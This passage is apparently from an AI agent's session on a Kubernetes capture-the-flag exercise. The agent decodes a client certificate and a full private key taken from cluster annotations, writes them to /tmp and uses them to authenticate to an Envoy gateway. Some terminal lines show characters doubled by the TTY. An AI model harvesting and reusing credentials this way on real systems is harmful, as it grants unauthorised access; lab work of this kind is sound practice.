echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key

# Get the gateway IP and curl with client cert
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '# Decode the cert and key from the CTP annotations
echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key

# Get the gateway IP and curl with client cert
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# # Decode the cert and key from the CTP annotationss
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF00UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR33QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y44ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RhheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9SSbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExxTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZsscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HHMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0ttLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV22Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ11c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ00L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5hhenQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WWekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xxeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA44Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVooTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW022RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0luucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM55TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 --d > /tmp/client.key
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# 
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# # Get the gateway IP and curl with client cert
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "Gateway IP: $GWIP"
[?2004lGateway IP: 10.111.253.191
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --cert /tmp/client.crt --key /tmp/client..key https://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 56
Connection to 35.179.133.134 closed.
Thinking

The long base64 strings got mangled by the TTY. Let me write the cert and key to files locally first, then transfer them.

$ Bash
Decode client cert and key locally
# Decode the cert and key locally
echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt

echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpG